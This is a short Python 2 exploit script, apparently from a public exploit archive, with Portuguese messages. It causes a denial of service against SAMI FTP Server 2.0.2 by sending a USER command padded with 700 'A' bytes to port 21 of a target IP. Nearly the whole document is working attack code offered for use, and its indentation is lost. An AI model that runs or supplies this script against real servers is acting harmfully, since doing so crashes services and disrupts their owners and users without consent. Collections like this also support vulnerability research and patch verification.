#!/usr/bin/python
#
# e-mail: fernando.mengalli@gmail.com
#
# Date: 06/08/2021 - 08 jun
#
# Version Vulnerable: SAMI FTP Server 2.0.2
#
# OS Tested: Windows XP PACK 3 Brazilian e Windows 2000
#
import socket
import sys
if len(sys.argv) != 2:
print
"#####################################################################"
print "#
#"
print "# SAMI FTP Server 2.0.2 - Command 'USER' Denied of Service
#"
print "#
#"
print "# Author: Fernando Mengali
#"
print "#
#"
print "# Modo de uso: exploit.py <IP>
#"
print "#
#"
print
"#####################################################################"
sys.exit(1)
target = sys.argv[1]
payload = "\x41"*700
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
connect = s.connect((target, 21))
print "[+] Conectado com sucesso"
except:
print "[-] Falha ao conectar para o servidor..."
sys.exit(0)
s.recv(1024)
print "[+] Enviando pacote crafted..."
s.send('USER '+payload+' \r\n')
s.recv(1024)
s.send('PASS anonymous \r\n')
s.close()